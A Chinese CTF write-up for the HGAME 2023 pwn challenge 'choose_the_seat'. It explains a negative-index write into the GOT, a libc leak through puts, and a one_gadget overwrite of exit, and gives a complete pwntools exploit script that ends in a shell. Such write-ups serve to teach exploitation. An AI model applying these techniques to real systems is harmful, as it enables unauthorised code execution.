负数,GOT 劫持,OneGadget 的结合体。环环相扣。
题目
兔兔在买高铁票时想要选一个好座位。
附件是:
1
2
3
|
vuln
ld-2.31.so
libc-2.31.so
|
分析
首先给了 ld 和 libc,直接 patchelf 然后开打好吧(x
checksec 查看保护:
1
2
3
4
5
6
7
8
9
10
|
❯ pwn checksec ./vuln
[*] '/data/project/ctf-repo/pwn/nssctf/HGAME_2023_week1-choose_the_seat/choose_the_seat/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
没有 PIE 好评。
ida pro 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
vuln();
}
void __noreturn vuln()
{
int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Here is the seat from 0 to 9, please choose one.");
__isoc99_scanf("%d", &v0);
if ( v0 > 9 )
{
printf("There is no such seat");
exit(1);
}
puts("please input your name");
read(0, &seats[16 * v0], 0x10u);
printf("Your name is ");
puts(&seats[16 * v0]);
printf("Your seat is %d\n", v0);
printf("Bye");
exit(0);
}
|
这里显然仅考虑大于 9 的情况,没有考虑负数的情况。seats 是 bss 段,后面往 seats + (16 * v0) 来写入字节,还可以读该处的数据。
ida 看看 seats 地址在 0x4040A0,往前是 .got.plt, 函数的延迟链接地址存放处。这里计算下,exit 地址为 0404040,刚好对齐 16 字节,可以做写入操作。puts 便宜完还差 8 字节,如果覆盖前 8 字节可以读到 puts 的实际地址,能泄漏 libc。
利用
vuln 最后调用了 exit(0),可以改写 exit 地址为 main 地址。这样跳回 main 就可以多次利用。
(0x4040A0 - 0x404040)/16 = 6。所以 -6 为 [email protected],所以说可以改写,正好没有 PIE,将其改写成 main 地址:
1
2
3
4
5
6
|
main = 0x4012d1
io.recvuntil(b"choose one.")
io.sendline(b"-6")
io.recvuntil(b"your name")
io.send(p64(main))
|
然后读出 puts 地址,泄漏 libc 基址:
1
2
3
4
5
6
7
8
9
10
|
io.recvuntil(b"choose one.")
io.sendline(b"-9")
io.recvuntil(b"your name")
io.send(b"Kaguy---")
io.recvuntil(b"---")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
print("libc base address =", hex(libc_base))
|
接下来找 One_gadget

需要一些寄存器为 NULl,第三次利用的时候 gdb.attach,然后对 call(exit) 打断点看看:

综合来看就 0xe3b01 的 r15, rdx 寄存器为空能满足,选择这个 One_gadget 来打:
1
2
3
4
5
|
one_gadget = 0xe3b01 + libc_base
io.recvuntil(b"choose one.")
io.sendline(b"-6")
io.recvuntil(b"your name")
io.send(p64(one_gadget))
|
之后就进 shell 了。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
io = process("./vuln")
#io = remote("node5.anna.nssctf.cn", 25125)
libc = ELF("./libc-2.31.so")
main = 0x4012d1
io.recvuntil(b"choose one.")
io.sendline(b"-6")
io.recvuntil(b"your name")
io.send(p64(main))
io.recvuntil(b"choose one.")
io.sendline(b"-9")
io.recvuntil(b"your name")
io.send(b"Kaguy---")
io.recvuntil(b"---")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
print("libc base address =", hex(libc_base))
one_gadget = 0xe3b01 + libc_base
io.recvuntil(b"choose one.")
io.sendline(b"-6")
io.recvuntil(b"your name")
io.send(p64(one_gadget))
io.interactive()
|